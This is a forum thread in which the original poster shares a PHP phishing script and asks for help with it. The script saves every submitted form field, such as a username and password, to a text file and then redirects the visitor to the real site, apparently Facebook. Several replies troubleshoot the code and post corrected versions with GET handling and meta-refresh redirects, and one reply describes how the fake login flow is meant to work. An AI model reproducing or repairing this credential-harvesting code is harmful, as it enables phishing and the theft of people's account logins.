1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Why doesnt this code work anymore?

Discussion in 'PHP & Perl' started by dalinkwent6, Sep 30, 2014.

  1. dalinkwent6

    dalinkwent6 Junior Member

    Joined:
    Jun 30, 2013
    Messages:
    114
    Likes Received:
    16
    Location:
    5th Dimension
    Code:
    <?php
    header ('Location: [URL="http://www.facebook.com/"]w[/URL]ebsite.com"');
    $handle = fopen("usernames.txt", "a");
    foreach($_POST as $variable => $value) {
      fwrite($handle, $variable);
      fwrite($handle, "=");
      fwrite($handle, $value);
      fwrite($handle, "\r\n");
    }
    fwrite($handle, "\r\n");
    fclose($handle);
    exit;
    ?> 
    Im sure you guys are familiar with this code. But if not, its a code that saves whatever a user types in a form into a txt file. I've played with it a few times and was able to get it to save the txt file but with blank content. I know its an old trick back in the day but i just want to know what changed.
     
  2. eimFlood

    eimFlood Junior Member

    Joined:
    Dec 21, 2012
    Messages:
    172
    Likes Received:
    58
    If by not working you mean that the redirect is no longer happening... you have a double-quote inside of that single-quoted string.

    header ('Location: website.com"');

    EDIT: Also, get in the habit of doing all your work first and then issuing the header for the redirect last unless forking is involved.
     
    • Thanks Thanks x 1
  3. srb888

    srb888 Elite Member

    Joined:
    Jul 30, 2008
    Messages:
    3,260
    Likes Received:
    5,067
    Gender:
    Male
    Occupation:
    WebzSurfer
    Location:
    Sun, Mon, Tue, WTF, Sat!!! :)
    And why do you have the "w" in "website.com" linking to FB?

    Ref.:
    Code:
    header ('Location: [URL="http://www.facebook.com/"]w[/URL]ebsite.com"');
     
  4. dalinkwent6

    dalinkwent6 Junior Member

    Joined:
    Jun 30, 2013
    Messages:
    114
    Likes Received:
    16
    Location:
    5th Dimension
    sorry, it was actually fbdotcom at first then i quickly changed it to the generic websitedotcom. The "" was also a typo. This is actually part of a ph1shing technique that was used back in the day
     
  5. randomblackguy

    randomblackguy Jr. VIP Jr. VIP Premium Member

    Joined:
    Apr 22, 2014
    Messages:
    481
    Likes Received:
    225
    Code:
    if(!isset($_SESSION['user'])) {       
    ob_start();
    header("Location: https://sitename.com/login.php");
    
    {// your_code_here}; }
     
    exit();
    
    
     
  6. Gogol

    Gogol Elite Member

    Joined:
    Sep 10, 2010
    Messages:
    3,063
    Likes Received:
    2,872
    Gender:
    Male
    Why do you redirect the page to website.com? I think that's where the problem is. Remove that line and you should be fine. I mean, Remove this line:

    Code:
    header ('Location: [URL="http://www.facebook.com/"]w[/URL]ebsite.com"');
     
  7. randomblackguy

    randomblackguy Jr. VIP Jr. VIP Premium Member

    Joined:
    Apr 22, 2014
    Messages:
    481
    Likes Received:
    225
    he is trying to recreate a login box that saves the info [login:pass] into a text.
    after the user writes the info in the boxes he gets redirected to the website [in this case fbdotcom] and his info is rewritten in the login URI to appear as a seamless login from an outside website...

    this part of the code just handles info saving to text... i'm guessing after this he has a bunch of code which doesn't work anymore because of the 'https' protocols which don't allow logging from outside sources.

    that's why login boxes and plugins which use your profiles [twitter, fb, etc] need apps running in the same environment
     
  8. member8200

    member8200 Regular Member

    Joined:
    Aug 9, 2014
    Messages:
    469
    Likes Received:
    33
    If you mean not redirecting, this could be the problem.

    // you have a double quote inside the single quote.
    header ('Location: website.com"');


    //try this one.
    //maybe consider putting the complete url, but that wont be an issue anyway. :)
    header ('location: https://www.website.com');

    Hope this helps. Best of luck.
     
  9. TrafficWizard

    TrafficWizard Junior Member

    Joined:
    Aug 22, 2014
    Messages:
    160
    Likes Received:
    26
    <?php
    header("Location: http://www.site.com");
    $handle = fopen("usernames.txt", "a");
    foreach($_GET as $variable => $value)
    {
    fwrite($handle, $variable);
    fwrite($handle, "=");
    fwrite($handle, $value);
    fwrite($handle, "\r\n");
    }
    fwrite($handle, "\r\n");
    fclose($handle);
    exit;
    ?>

    get / post logic ?
     
    Last edited: Oct 20, 2014
  10. ricaweb

    ricaweb Newbie

    Joined:
    Nov 10, 2013
    Messages:
    15
    Likes Received:
    5
    Location header redirection does not redirect POST params,
    if it was GET params then your code can work in a way or another
    also try this it will resolve the issue of redirection as we will use meta header to do it
    PHP:
    <?php
    header
    "refresh:1;url=websitecom" ); 
    $handle fopen("usernames.txt""a");
    foreach(
    $_GET as $variable => $value)
    {
    fwrite($handle$variable);
    fwrite($handle"=");
    fwrite($handle$value);
    fwrite($handle"\r\n");
    }
    fwrite($handle"\r\n");
    fclose($handle);
    exit();


    Thanks